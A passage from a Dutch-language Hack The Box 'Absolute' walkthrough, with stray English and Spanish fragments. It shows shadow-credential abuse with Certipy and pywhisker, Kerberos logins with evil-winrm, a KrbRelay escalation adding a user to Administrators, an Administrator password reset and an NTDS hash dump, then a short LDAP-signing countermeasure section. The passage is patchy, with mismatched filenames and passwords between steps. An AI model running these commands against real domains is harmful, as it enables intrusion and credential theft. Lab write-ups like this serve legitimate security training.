[!] Failed to connect to remote registry. Service should be starting now. Trying again...
[*] Got CA configuration for 'absolute-DC-CA'
[*] Saved BloodHound data to '20230709195709_Certipy.zip'. Drag and drop the file into the BloodHound GUI from @ly4k
[*] Saved text output to '20230709195709_Certipy.txt'
[*] Saved JSON output to '20230709195709_Certipy.json'

┌──(venv)─(puck㉿kali)-[~/htb/absolute/impacket]

kan dit bekijken, maar op dit moment is dit gewoon een goed teken dat ADCS is geïnstalleerd.

Dit volgende commando heeft een Kerberos-ticket nodig om te werken, en het lijkt erop dat het moet worden gegenereerd nadat de m.lovegod-gebruiker aan de groep is toegevoegd. De volgende foutmelding betekent dat ik mijn ticket moet verwijderen en opnieuw moet maken (met kinit of getTGT.py):

[-] Could not update Key Credentials for 'winrm_user' due to insufficient access rights: 00002098: SecErr: DSID-031514A0, problem 4003 (
INSUFF_ACCESS_RIGHTS), data 0

.

The file needs to be configured before this /etc/krb5.confThe configuration file is as follows

1 
2 
3 
4 
5 
6 
7
[libdefaults] 
        default_realm = ABSOLUTE.HTB 
[realms] 
        ABSOLUTE.HTB = { 
                kdc = DC.ABSOLUTE.HTB 
                admin_server = ABSOLUTE.HTB 
                }

This is because since you want to use the TGT ticket in kerberos to log in to winrm, you must first configure the configuration of the kerberos client
and finally obtain User.txt

.

 

We voeren certipy uit om schaduwreferenties toe te voegen aan de gebruiker winrm_user
.
┌──(puck㉿kali)-[~/htb/ABSOLUTE]
└─$ KRB5CCNAME=m.lovegod.ccache certipy-ad shadow auto -k -no-pass -u absolute.htb/m.lovegod@dc.absolute.htb -dc-ip 10.10.11.181 -target dc.absolute.htb -account winrm_user
Certipy v4.7.0 - by Oliver Lyak (ly4k)

[*] Targeting user 'winrm_user'
[*] Generating certificate
[*] Certificate generated
[*] Generating Key Credential
[*] Key Credential generated with DeviceID '1772ee1e-dda7-2630-c5ec-ee4b353a9cc4'
[*] Adding Key Credential with device ID '1772ee1e-dda7-2630-c5ec-ee4b353a9cc4' to the Key Credentials for 'winrm_user'
[*] Successfully added Key Credential with device ID '1772ee1e-dda7-2630-c5ec-ee4b353a9cc4' to the Key Credentials for 'winrm_user'
[*] Authenticating as 'winrm_user' with the certificate
[*] Using principal: winrm_user@absolute.htb
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'winrm_user.ccache'
[*] Trying to retrieve NT hash for 'winrm_user'
[*] Restoring the old Key Credentials for 'winrm_user'
[*] Successfully restored the old Key Credentials for 'winrm_user'
[*] NT hash for 'winrm_user': 8738c7413a5da3bc1d083efc0ab06cb2

┌──(puck㉿kali)-[~/htb/ABSOLUTE]
.

Evil-WinRM

Uiteindelijk hebben we een NT-hash. Als we deze proberen te gebruiken om te authenticeren, kunnen we dat niet doen, aangezien deze gebruiker ook tot Beschermde Gebruikers behoort

$ evil-winrm -i 10.129.228.64 -u winrm_user -H '8738c7413a5da3bc1d083efc0ab06cb2'

Evil-WinRM shell v3.5

Info: Establishing connection to remote endpoint
                                        
Error: An error of type WinRM::WinRMAuthorizationError happened, message is WinRM::WinRMAuthorizationError
                                        
Error: Exiting with code 1

Naast de NT-hash heeft het ons een TGT gegeven, dus we importeren deze en maken verbinding met evil-winrm. Het is noodzakelijk om de DC-naam in plaats van het IP-adres na de parameter -i te plaatsen

$ KRB5CCNAME=./winrm_user.ccache evil-winrm -i dc.absolute.htb -r absolute.htb

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\winrm_user\Documents> cd ..\Desktop
d*Evil-WinRM* PS C:\Users\winrm_user\Desktop> dir

    Directory: C:\Users\winrm_user\Desktop
Mode                LastWriteTime         Length Name

Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-ar---        5/31/2023   9:51 PM             34 user.txt

*Evil-WinRM* PS C:\Users\winrm_user\Desktop> type user.txt
4e3812370d00fb4cdbfc727b7dd3ee86
*Evil-WinRM* PS C:\Users\winrm_user\Desktop> 

PyWhiskers – Alternatief voor Certipy

Een ander alternatief is PyWhiskers, waarmee we, net als Certipy, het Shadow Credentials-attribuut van een gebruiker of computer kunnen manipuleren en volledige controle over dat object kunnen krijgen. We kunnen zien of de gebruiker winrm_user geldig is en of deze het msDS-KeyCredentialLink-attribuut heeft als deze afsluit DeviceID:

┌──(puck㉿kali)-[~/htb/ABSOLUTE]
└─$ KRB5CCNAME=m.lovegod.ccache python3 pywhisker/pywhisker.py --action list -d absolute.htb -u m.lovegod -p 'AbsoluteLDAP2022!' --dc-ip 10.10.11.181 -t winrm_user -k
[*] Searching for the target account
[*] Target user found: CN=winrm_user,CN=Users,DC=absolute,DC=htb
[*] Listing devices for winrm_user
[*] DeviceID: 05c89ad0-0706-1bbe-e2b4-189876687fde | Creation Time (UTC): 2022-06-09 14:09:33.669683

┌──(puck㉿kali)-[~/htb/ABSOLUTE]
We hebben nieuwe schaduwreferenties toegevoegd.

┌──(puck㉿kali)-[~/htb/ABSOLUTE]
└─$ KRB5CCNAME=m.lovegod.ccache python3 pywhisker/pywhisker.py --action add -d absolute.htb -u m.lovegod -p 'AbsoluteLDAP2022!' --dc-ip 10.10.11.181 -t winrm_user -k 
[*] Searching for the target account
[*] Target user found: CN=winrm_user,CN=Users,DC=absolute,DC=htb
[*] Generating certificate
[*] Certificate generated
[*] Generating KeyCredential
[*] KeyCredential generated with DeviceID: b5fe8c4c-c91d-ba97-3009-2871272795ce
[*] Updating the msDS-KeyCredentialLink attribute of winrm_user
[+] Updated the msDS-KeyCredentialLink attribute of the target object
[+] Saved PFX (#PKCS12) certificate & key at path: vcr38xux.pfx
[*] Must be used with password: oDppdPDucceXJs4Zbt7F
[*] A TGT can now be obtained with https://github.com/dirkjanm/PKINITtools

┌──(puck㉿kali)-[~/htb/ABSOLUTE]

.

De vorige opdracht genereert het certificaat vcr38xux.pfx met wachtwoord oDppdPDucceXJs4Zbt7F , dat we samen met PKINITTools gebruiken om een TGT te verkrijgen.

.

┌──(puck㉿kali)-[~/htb/ABSOLUTE]
└─$ python3 gettgtpkinit.py -cert-pfx EAIo4DPQ.pfx -pfx-pass sMFZiAfOBZsgKK3DmkAQ absolute.htb/winrm_user -dc-ip 10.10.11.181 winrm_user2.ccache
2024-01-26 22:03:22,902 minikerberos INFO Loading certificate and key from file
INFO:minikerberos:Loading certificate and key from file
2024-01-26 22:03:22,918 minikerberos INFO Requesting TGT
INFO:minikerberos:Requesting TGT
2024-01-26 22:03:47,236 minikerberos INFO AS-REP encryption key (you might need this later):
INFO:minikerberos:AS-REP encryption key (you might need this later):
2024-01-26 22:03:47,236 minikerberos INFO aa3afee89518d3b28b639127afc064ebd8f57d74533054a1181a446cdb56da22
INFO:minikerberos:aa3afee89518d3b28b639127afc064ebd8f57d74533054a1181a446cdb56da22
2024-01-26 22:03:47,239 minikerberos INFO Saved TGT to file
INFO:minikerberos:Saved TGT to file

┌──(puck㉿kali)-[~/htb/ABSOLUTE]
└─$ ls -la winrm* 
-rwxr-xr-x 1 puck puck 15871 Sep 23 17:07 winrm_kerb_shell.rb
-rw-r--r-- 1 puck puck 1614 Jan 26 22:03 winrm_user2.ccache
-rw-r--r-- 1 puck puck 3136 Jan 26 21:36 winrm_user.ccache

┌──(puck㉿kali)-[~/htb/ABSOLUTE]

We hebben winrm_user.ccache aangegeven als het uitvoerbestand, dat we met evil-winrm kunnen gebruiken om een ​​shell op het systeem te verkrijgen

┌──(puck㉿kali)-[~/htb/ABSOLUTE]
└─$ file winrm_user2.ccache
winrm_user2.ccache: data

┌──(puck㉿kali)-[~/htb/ABSOLUTE]
└─$ KRB5CCNAME=winrm_user2.ccache evil-winrm -i dc.absolute.htb -r absolute.htb 

Evil-WinRM shell v3.5

Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine

Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\winrm_user\Documents> whoami
absolute\winrm_user
*Evil-WinRM* PS C:\Users\winrm_user\Documents>

Shell – Administrator

KrbRelay

KrbRelay is een kwetsbaarheid in Kerberos-authenticatie, waarbij een aanvaller verzoeken onderschept en deze vervolgens namens de oorspronkelijke client opnieuw verzendt naar een andere bestemming, waardoor de aanvaller toegang kan krijgen tot serverbronnen zonder de daadwerkelijke inloggegevens in gevaar te brengen.

Feiten over KrbRelay

In februari 2022 werd een tool gemaakt die deze aanval automatiseert, genaamd KrbRelay.
Microsoft was niet van plan dit beveiligingslek te patchen, maar veranderde zijn standpunt in oktober 2022 en erkende het als een aanzienlijk beveiligingslek dat actie behoefde.
Om KrbRelay te laten werken, moet aan 2 voorwaarden worden voldaan. De patches van oktober 2022 niet zijn geïnstalleerd en LDAP-ondertekening is uitgeschakeld, wat de standaardinstelling is in Windows

We gaan de gecompileerde versie van KrbRelay uit de repository gebruiken SharpCollection

Om deze exploit te laten werken, is een interactieve sessie of console nodig. Daarom gaan wij er gebruik van maken van RunasCs. Omdat in deze sessies, in tegenstelling tot de shell met WinRM die we hebben, de inloggegevens in het geheugen worden opgeslagen en toegankelijk zijn voor de exploit

We uploaden beide uitvoerbare bestanden

*Evil-WinRM* PS C:\programdata> upload ./SharpCollection/NetFramework_4.7_Any/KrbRelay.exe
                                        
Info: Uploading /home/d4z/htb/machines/Absolute/exploits/SharpCollection/NetFramework_4.7_Any/KrbRelay.exe to C:\programdata\KrbRelay.exe
                                        
Data: 2135380 bytes of 2135380 bytes copied
                                        
Info: Upload successful!
*Evil-WinRM* PS C:\programdata> upload ./RunasCs/RunasCs.exe
                                        
Info: Uploading /home/d4z/htb/machines/Absolute/exploits/RunasCs/RunasCs.exe to C:\programdata\RunasCs.exe
                                        
Data: 68948 bytes of 68948 bytes copied
                                        
Info: Upload successful!

We gaan de gebruiker winrm_user toevoegen aan de groep Administrators. De CLSID van  ejemplo werkt niet, daarom gebruiken we de CLSID de Trusted Installer

.

*Evil-WinRM* PS C:\users\winrm_user\Music> upload KrbRelay.exe

Info: Uploading /home/puck/htb/ABSOLUTE/KrbRelay.exe to C:\users\winrm_user\Music\KrbRelay.exe

Data: 2157224 bytes of 2157224 bytes copied

Info: Upload successful!
*Evil-WinRM* PS C:\users\winrm_user\Music> upload RunasCs.exe

Info: Uploading /home/puck/htb/ABSOLUTE/RunasCs.exe to C:\users\winrm_user\Music\RunasCs.exe

Data: 64852 bytes of 64852 bytes copied

Info: Upload successful!
*Evil-WinRM* PS C:\users\winrm_user\Music>

.

*Evil-WinRM* PS C:\Users\winrm_user\Music> .\runascs.exe winrm_user -d absolute.htb TotallyNotACorrectPassword -l 9 "C:\users\winrm_user\music\KrbRelay.exe -spn ldap/dc.absolute.htb -clsid 8F5DF053-3013-4dd8-B5F4-88214E81C0CF -port 10 -add-groupmember Administrators winrm_user"
[*] Relaying context: absolute.htb\DC$
[*] Rewriting function table
[*] Rewriting PEB
[*] GetModuleFileName: System
[*] Init com server
[*] GetModuleFileName: C:\users\winrm_user\music\KrbRelay.exe
[*] Register com server
objref:TUVPVwEAAAAAAAAAAAAAAMAAAAAAAABGgQIAAAAAAAD8ODHmL0ZoLBWSpx8iL3QlAvQAAIgB//9ttGGZRAm1jSIADAAHADEAMgA3AC4AMAAuADAALgAxAAAAAAAJAP//AAAeAP//AAAQAP//AAAKAP//AAAWAP//AAAfAP//AAAOAP//AAAAAA==:

[*] Forcing SYSTEM authentication
[*] Using CLSID: 8f5df053-3013-4dd8-b5f4-88214e81c0cf
[*] apReq: 608206b406092a864886f71201020201006e8206a33082069fa003020105a10302010ea20703050020000000a38204e1618204dd308204d9a003020105a10e1b0c4142534f4c5554452e485442a2223020a003020102a11930171b046c6461701b0f64632e6162736f6c7574652e687462a382049c30820498a003020112a103020104a282048a0482048614c9922d3834e7192f5feea007fea8d89b5ddfd425095679b0534f55a809f24dba4ccaa6aa26ead03e26af95cb26f5211d8096e00b3ecf91cfe664371a4af9e3a318bd73e6d1e43867ea91936cb69ce60d15c97e9c05541cad1ef1693d47a980b3089d87b0d4e3b4b9c1a00f231e7e6462a270dc3371f9d2195a13b5f9cf4cbb7701c30f6903b2603305a452b7cfe1aa364e6becacc964f853db7fa3346f6d75978c1f4e2aa8f54ab0d3c5266884d7f347d87df36d9aa7d891a30b4c81c3126cad72a5c1c43d97737973651cc2a4f0c460b4f31d1a85882d254be00dabc9f392e96a11143b16dc723f334dd2b4b2bd8b416be166a228b0598be7d435aac0905dcc19d2ec90f4d1fc1154fee8e6e3b13ff88c0f5fe7e54c33ad762a8aabdedc46b74a3848bf17778e601a11a91570027f26d64ce7a8eb2cf15b6a561986fd8c57a84f82aab1166d43f395d45dec9431695a9c68ed474d8dfc8e9a609b74cfb2fb75b4cae6249fe1db66aba460d6273a30c3bcf34f4063faac74a115c8bfbc5378f25101099e512bffc751c1e1cd5c192b145b3a35c7dd38f71a80c0ced7178100ff5239eba9bfecadb2caedb0226395e49d6774fae606402d58c0c58e89e726713396b95ead4d6b253926b39ae0803f5655673014d25180532af204d6dcc8a947fc7c5fd44701145742dfb525f4b19881f42ea2f3da3c248d7a3c27ce2a6820f4507165b41f9af1918e49a6fdb7aae11d758310647da942931696cf2f77ab02e31e7ace956d3ca1ca5f2b253c70c5fb12b7e925a588e90c1edefb08b0fe6faf9acd561a829fedec5f77dbe9741d7997c8a166e0c4e64449f5cd6f3ac96d0f32c7d77370f9dd2811509905e87fdb373b0a227897bec3bcd3dd347ac877b67bd7f807fed510966aa1c1a302354e3a29e5a2b9fc283658f58ba8b67098923aa9c872d04647cc1284e464f89e218a60646cc7c856f54e2922cde4ada5e8a261bc0ddbe8d3ffe0497e2ac749a4ad47bf05bf173004af3e476956c27851bc31bf9a948e06f2c7a8173eecc3fd633a9bf81bb4b3cae409cfea1d59c3c1d14a9cbd1168ecb5c9d092ef4e581fba2bbc2b4fbd45f64339246e79be8619d63a71bb65ffd92cb6714ef6363d2133197d69b317d9d6a9df959253d08350033fef2bce74458cb669c2847875e405d49b0b0248cc3631f56f12879e75621312e83b29d2746d3dc3abd6fadabf1906b0d09a38d30b7431303ee58d15b494ec98fa59abde10a70a76af41672fd7cb2b433fa0da6a5f0e16f98c4876a7a1f3ee71c9ba6a8995fc531f715a3b03bd819ac765714ab59b4640f10f1377ce0613f8a6c24681a46b51509e8e83f7458c66bb7a83c3a7c88da30f89a09424e4a4e29e8408b9cad252ccbe85ee202af170cba624b542facbd763f0f8c557da2fd1584abffd8cb89d8a6882840d1f6493cd39998673cedee69f82b042dfd2895e90bb154d49cdca8f3dfdccb8f8c4cfd3d7228c3d8f412f99da832a8a70ad31969e06afbc227a77758629d70633fc37f4ba501808e2d2063395309df4719d436b0355f094bb14fd41638cd75f42ba9d9831dae012d82033b2e06764652dd4a69c95ec6593b67379351eef61a021cbd116a92fa48201a33082019fa003020112a2820196048201927aadea403e54d541344295335ac22c1dd0316313b05c281886ec016d8fcddd742bfb0c294cf05b144c7c915affb34af5115a0e164d736e1c217b0328abb5a9668d01e758464713d20792129cd27330b4cd4db039ab47fd7ed600fa70c4ce753236b1c6bd37b9b760d8d56556b6d679677f183d2721b946d03e0f07fe6509132b80da5cc474302162d85d6c4ca3b93d3bb38a033354f0b5fabaec631399df2677bdebe7467cd65d17fa61b81234d366779ac34976afe069e5584b02140da5817d0ba36c60e503547f64c4e74bedef08091036cdf70d6b314b698aa7c2ef6c6928db92023e151612c5346ac47a612220320cdad4b5f0e43e9667292577019caced0100683cd4026b14464f99d3663b4f683e8b8b14e64082b39c785c52d78f630f9195ef721df44a9c513a11cdc62b844a2bbc8bd920eaa71cb4dec724d2121499625d0eecafdca5026e827a7fadc0a5c2af27ea0c68e37985e7a87114b1f74cf348170ccf2ef2147ca47593e8f10624f8ad186975673119c3f025e72f412dc7aaf37e08f34141f9ab23ed12fbf29336d1cc99
[*] bind: 0
[*] ldap_get_option: LDAP_SASL_BIND_IN_PROGRESS
[*] apRep1: 6f8188308185a003020105a10302010fa2793077a003020112a270046e4cb77fc6705592600f97ec32b40454aff0fc796219f946bc0bb47cab1d88e442d3ac94bd660b4adefd1f951e0429608d74441821b5fb9149a64ce26472028a8cd3ae6d663842c46152ebc30df14b55f92902c1ebb3d44096258400ae7cce3352b5a31cdd1149eda46135a30dd337
[*] AcceptSecurityContext: SEC_I_CONTINUE_NEEDED
[*] fContextReq: Delegate, MutualAuth, UseDceStyle, Connection
[*] apRep2: 6f5b3059a003020105a10302010fa24d304ba003020112a2440442023e6d1ca731609de7068ace9d6448af612f9728d350f5ff307aa821285bd14559d01258149693ace2f61e2d0e855d4d50ba20b3179429e3d87c58e057c9f91e0966
[*] bind: 0
[*] ldap_get_option: LDAP_SUCCESS
[+] LDAP session established
[*] ldap_modify: LDAP_SUCCESS
*Evil-WinRM* PS C:\Users\winrm_user\Music>

We verifiëren dat de gebruiker succesvol is toegevoegd aan de groep Administrators

[*] ldap_get_option: LDAP_SUCCESS
[+] LDAP session established
[*] ldap_modify: LDAP_SUCCESS
*Evil-WinRM* PS C:\Users\winrm_user\Documents> net user winrm_user
User name winrm_user
Full Name
Comment Used to perform simple network tasks
User's comment
Country/region code 000 (System Default)
Account active Yes
Account expires Never

Password last set 6/9/2022 12:25:51 AM
Password expires Never
Password changeable 6/10/2022 12:25:51 AM
Password required Yes
User may change password Yes

Workstations allowed All
Logon script
User profile
Home directory
Last logon 1/26/2024 1:03:47 PM

Logon hours allowed All

Local Group Memberships *Administrators *Remote Management Use
Global Group memberships *Domain Users *Protected Users
The command completed successfully.

*Evil-WinRM* PS C:\Users\winrm_user\Documents>

.

Om de rootvlag te verkrijgen, moeten we een nieuwe console openen

.

┌──(puck㉿kali)-[~/htb/ABSOLUTE]
└─$ KRB5CCNAME=winrm_user2.ccache evil-winrm -i dc.absolute.htb -r absolute.htb

Evil-WinRM shell v3.5

Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine

Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\winrm_user\Documents> net user winrm_user
User name winrm_user
Full Name
Comment Used to perform simple network tasks
User's comment
Country/region code 000 (System Default)
Account active Yes
Account expires Never

Password last set 6/9/2022 12:25:51 AM
Password expires Never
Password changeable 6/10/2022 12:25:51 AM
Password required Yes
User may change password Yes

Workstations allowed All
Logon script
User profile
Home directory
Last logon 1/26/2024 1:03:47 PM

Logon hours allowed All

Local Group Memberships *Administrators *Remote Management Use
Global Group memberships *Domain Users *Protected Users
The command completed successfully.

*Evil-WinRM* PS C:\Users\winrm_user\Documents> cd ..
*Evil-WinRM* PS C:\Users\winrm_user> cd ..
*Evil-WinRM* PS C:\Users> cd administrator
c*Evil-WinRM* PS C:\Users\administrator> cd desktop
di*Evil-WinRM* PS C:\Users\administrator\desktop> dir


Directory: C:\Users\administrator\desktop


Mode LastWriteTime Length Name
---- ------------- ------ ----
-ar--- 1/26/2024 11:44 AM 34 root.txt


*Evil-WinRM* PS C:\Users\administrator\desktop> type root.txt
edc948603b2cb5710af08dbc7205277c
*Evil-WinRM* PS C:\Users\administrator\desktop>

,

Een andere interessante optie is om het wachtwoord te wijzigen in de Administrator-gebruiker

*Evil-WinRM* PS C:\Users\winrm_user\Documents> net user Administrator Password123!
The command completed successfully.
$ evil-winrm -i 10.10.11.181 -u administrator -p 'Password123!'

Evil-WinRM shell v3.5

*Evil-WinRM* PS C:\Users\Administrator\Documents> 

Met crackmapexec kunnen we de ntds dumpen

crackmapexec smb -dc-ip dc.absolute.htb -u 'Administrator' -p 'Password123!' --ntds
SMB         dc.absolute.htb 445    DC               [*] Windows 10.0 Build 17763 x64 (name:DC) (domain:c-ip) (signing:True) (SMBv1:False)
SMB         dc.absolute.htb 445    DC               [+] c-ip\Administrator:Password123! (Pwn3d!)
SMB         dc.absolute.htb 445    DC               [+] Dumping the NTDS, this could take a while so go grab a redbull...
SMB         dc.absolute.htb 445    DC               Administrator\Administrator:500:aad3b435b51404eeaad3b435b51404ee:2b576acbe6bcfda7294d6bd18041b8fe:::
SMB         dc.absolute.htb 445    DC               Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
SMB         dc.absolute.htb 445    DC               krbtgt:502:aad3b435b51404eeaad3b435b51404ee:3ca378b063b18294fa5122c66c2280d4:::
SMB         dc.absolute.htb 445    DC               J.Roberts:1103:aad3b435b51404eeaad3b435b51404ee:7d6b7511772593b6d0a3d2de4630025a:::
SMB         dc.absolute.htb 445    DC               M.Chaffrey:1104:aad3b435b51404eeaad3b435b51404ee:13a699bfad06afb35fa0856f69632184:::
SMB         dc.absolute.htb 445    DC               D.Klay:1105:aad3b435b51404eeaad3b435b51404ee:21c95f594a80bf53afc78114f98fd3ab:::
SMB         dc.absolute.htb 445    DC               s.osvald:1106:aad3b435b51404eeaad3b435b51404ee:ab14438de333bf5a5283004f660879ee:::
SMB         dc.absolute.htb 445    DC               j.robinson:1107:aad3b435b51404eeaad3b435b51404ee:0c8cb4f338183e9e67bbc98231a8e59f:::
SMB         dc.absolute.htb 445    DC               n.smith:1108:aad3b435b51404eeaad3b435b51404ee:ef424db18e1ae6ba889fb12e8277797d:::
SMB         dc.absolute.htb 445    DC               m.lovegod:1109:aad3b435b51404eeaad3b435b51404ee:a22f2835442b3c4cbf5f24855d5e5c3d:::
SMB         dc.absolute.htb 445    DC               l.moore:1110:aad3b435b51404eeaad3b435b51404ee:0d4c6dccbfacbff5f8b4b31f57c528ba:::
SMB         dc.absolute.htb 445    DC               c.colt:1111:aad3b435b51404eeaad3b435b51404ee:fcad808a20e73e68ea6f55b268b48fe4:::
SMB         dc.absolute.htb 445    DC               s.johnson:1112:aad3b435b51404eeaad3b435b51404ee:b922d77d7412d1d616db10b5017f395c:::
SMB         dc.absolute.htb 445    DC               d.lemm:1113:aad3b435b51404eeaad3b435b51404ee:e16f7ab64d81a4f6fe47ca7c21d1ea40:::
SMB         dc.absolute.htb 445    DC               svc_smb:1114:aad3b435b51404eeaad3b435b51404ee:c31e33babe4acee96481ff56c2449167:::
SMB         dc.absolute.htb 445    DC               svc_audit:1115:aad3b435b51404eeaad3b435b51404ee:846196aab3f1323cbcc1d8c57f79a103:::
SMB         dc.absolute.htb 445    DC               winrm_user:1116:aad3b435b51404eeaad3b435b51404ee:8738c7413a5da3bc1d083efc0ab06cb2:::
SMB         dc.absolute.htb 445    DC               DC$:1000:aad3b435b51404eeaad3b435b51404ee:a7864ab463177acb9aec553f18f42577:::

En authenticeer met de hash

$ evil-winrm -i 10.10.11.181 -u 'Administrator' -H '2b576acbe6bcfda7294d6bd18041b8fe'

Vanaf deze console kunnen we zien dat het inderdaad een Windows Server 2019 Standard is

*Evil-WinRM* PS C:\Users\Administrator\Documents> systeminfo

Host Name:                 DC
OS Name:                   Microsoft Windows Server 2019 Standard
OS Version:                10.0.17763 N/A Build 17763
OS Manufacturer:           Microsoft Corporation
OS Configuration:          Primary Domain Controller
OS Build Type:             Multiprocessor Free
Registered Owner:          Windows User
Registered Organization:
Product ID:                00429-00521-62775-AA530
Original Install Date:     7/20/2021, 11:21:49 AM
System Boot Time:          6/1/2023, 9:40:14 PM
System Manufacturer:       VMware, Inc.
System Model:              VMware7,1
System Type:               x64-based PC
Processor(s):              1 Processor(s) Installed.
                           [01]: Intel64 Family 6 Model 85 Stepping 7 GenuineIntel ~2295 Mhz
BIOS Version:              VMware, Inc. VMW71.00V.17369862.B64.2012240522, 12/24/2020
Windows Directory:         C:\Windows
System Directory:          C:\Windows\system32
Boot Device:               \Device\HarddiskVolume2
System Locale:             en-us;English (United States)
Input Locale:              it;Italian (Italy)
Time Zone:                 (UTC-08:00) Pacific Time (US & Canada)
Total Physical Memory:     4,095 MB
Available Physical Memory: 2,859 MB
Virtual Memory: Max Size:  4,799 MB
Virtual Memory: Available: 3,665 MB
Virtual Memory: In Use:    1,134 MB
Page File Location(s):     C:\pagefile.sys
Domain:                    absolute.htb
Logon Server:              N/A
Hotfix(s):                 10 Hotfix(s) Installed.
                           [01]: KB5016713
                           [02]: KB4512577
                           [03]: KB4535680
                           [04]: KB4577586
                           [05]: KB4589208
                           [06]: KB5012170
                           [07]: KB5017315
                           [08]: KB5012675
                           [09]: KB5014031
                           [10]: KB5015896
Network Card(s):           1 NIC(s) Installed.
                           [01]: vmxnet3 Ethernet Adapter
                                 Connection Name: Ethernet0 3
                                 DHCP Enabled:    Yes
                                 DHCP Server:     10.129.0.1
                                 IP address(es)
                                 [01]: 10.129.228.64
                                 [02]: fe80::bc18:1e7f:6ec4:6749
                                 [03]: dead:beef::bc18:1e7f:6ec4:6749
                                 [04]: dead:beef::115
Hyper-V Requirements:      A hypervisor has been detected. Features required for Hyper-V will not be displayed.

Contra-remedie tegen KRBRelay

Om deze aanval te voorkomen zullen we dit doen  habilitar la firma por LDAP

We schakelen RDP in op de DC en maken verbinding met een client, zoals remmina

1st RDP enablen

*Evil-WinRM* PS C:\Users\Administrator\Documents> Set-ItemProperty -Path 'HKLM:\System\CurrentControlSet\Control\Terminal Server' -name "fDenyTSConnections" -value 0
*Evil-WinRM* PS C:\Users\Administrator\Documents> Enable-NetFirewallRule -DisplayGroup "Remote Desktop"
*Evil-WinRM* PS C:\Users\Administrator\Documents> ipconfig

Windows IP Configuration


Ethernet adapter Ethernet0 3:

Connection-specific DNS Suffix . : htb
IPv6 Address. . . . . . . . . . . : dead:beef::12d
IPv6 Address. . . . . . . . . . . : dead:beef::8e4:bcf4:ae34:9e8
Link-local IPv6 Address . . . . . : fe80::8e4:bcf4:ae34:9e8%11
IPv4 Address. . . . . . . . . . . : 10.10.11.181
Subnet Mask . . . . . . . . . . . : 255.255.254.0
Default Gateway . . . . . . . . . : fe80::250:56ff:feb9:7e65%11
10.10.10.2
*Evil-WinRM* PS C:\Users\Administrator\Documents> 

Hierna met Remmina RDP connecten

crackmapexec smb 10.10.11.181 -u Administrator -p 'Password123!' -M rdp -o ACTION=enable

Open Group Policy Management en klik op Edit

Navigeer naar Computer Configuration\Policies\Windows Settings\Security Settings\Local Policies\Security Options

Zoek het beleid Domain Controller: LDAP server signing requirements en vul in de waarde Require signing

We gaan naar Network security: LDAP client signing requirements

Open een console en update het beveiligingsbeleid

We proberen de aanval uit te voeren op onze aanvallende machine en zien dat deze niet succesvol is

*Evil-WinRM* PS C:\programdata> .\RunasCs.exe m.lovegod 'AbsoluteLDAP2022!' -l 9 ".\KrbRelay.exe -spn ldap/dc.absolute.htb -clsid 3c6859ce-230b-48a4-be6c-932c0c202048 -add-groupmember
Administrators winrm_user"

[*] Relaying context: absolute.htb\DC$
[*] Rewriting function table
[*] Rewriting PEB
[*] GetModuleFileName: System
[*] Init com server
[*] GetModuleFileName: C:\programdata\KrbRelay.exe
[*] Register com server
objref:TUVPVwEAAAAAAAAAAAAAAMAAAAAAAABGgQIAAAAAAAB4KplREi4FFGeMIAqYLH8nApQAAFwW//+vpO4nPH6EyyIADAAHADEAMgA3AC4AMAAuADAALgAxAAAAAAAJAP//AAAeAP//AAAQAP//AAAKAP//AAAWAP//AAAfAP//AAAOAP//AAAAAA==:

[*] Forcing SYSTEM authentication
[*] Using CLSID: 3c6859ce-230b-48a4-be6c-932c0c202048
[*] apReq: 608206b406092a864886f71201020201006e8206a33082069fa003020105a10302010e--snip--9b583cf4d4
[*] bind: 0
[*] ldap_get_option: LDAP_SASL_BIND_IN_PROGRESS
[*] apRep1: 6f8188308185a003020105a10302010fa2793077a003020112a270046e3bac712f6334071226c25e895f570151fe1166a42a068b2cd7850c3b9c81df87839f350070dea732d2d731b291e4b1454a58e8ad0357e96d273d1534290b7072cfdebb6e6355a7f29890f65c9684cfcccc47ec04b4e5b43c0c923aa6f2909cf646c73069067f2838d455d471d380
[*] AcceptSecurityContext: SEC_I_CONTINUE_NEEDED
[*] fContextReq: Delegate, MutualAuth, UseDceStyle, Connection
[*] apRep2: 6f5b3059a003020105a10302010fa24d304ba003020112a2440442d79574b57c4664dad434b29e5de65a74a83e1eec685238ab4b16ffd1f279a05b62e11e86a439fdd1336030ee54342f262cc82f65126ced2423ae468461511bab82b0
[*] bind: 8
[*] ldap_get_option: 8
[-] Ldap failed

.

.
crackmapexec smb -dc-ip dc.absolute.htb -u 'DC$' -H A7864AB463177ACB9AEC553F18F42577 --ntds
┌──(venv)─(puck㉿kali)-[~/htb/absolute]
└─$ evil-winrm -i 10.10.11.181 -u administrator -H 1f4a6093623653f6488d5aa24c75f2ea

Evil-WinRM shell v3.5

Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine

Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents>
——————————————————
.

┌──(puck㉿kali)-[~/htb/absolute]
└─$ git clone https://github.com/ShutdownRepo/impacket -b dacledit
Cloning into ‘impacket’…
remote: Enumerating objects: 22819, done.
remote: Counting objects: 100% (12/12), done.

 

 

┌──(puck㉿kali)-[~/htb/absolute/impacket]
└─$ sudo apt install python3.11-venv

extra info

*Evil-WinRM* PS C:\Users\Administrator\Documents> Get-ScheduledTask | where{$_.TaskName -eq "Cleanup"}

TaskPath TaskName State
-------- -------- -----
\ Cleanup Ready


*Evil-WinRM* PS C:\Users\Administrator\Documents> Get-Scheduledjob
*Evil-WinRM* PS C:\Users\Administrator\Documents> Get-ScheduledJob
*Evil-WinRM* PS C:\Users\Administrator\Documents> cd c:\windows\system32\tasks
*Evil-WinRM* PS C:\windows\system32\tasks> dir


Directory: C:\windows\system32\tasks


Mode LastWriteTime Length Name
---- ------------- ------ ----
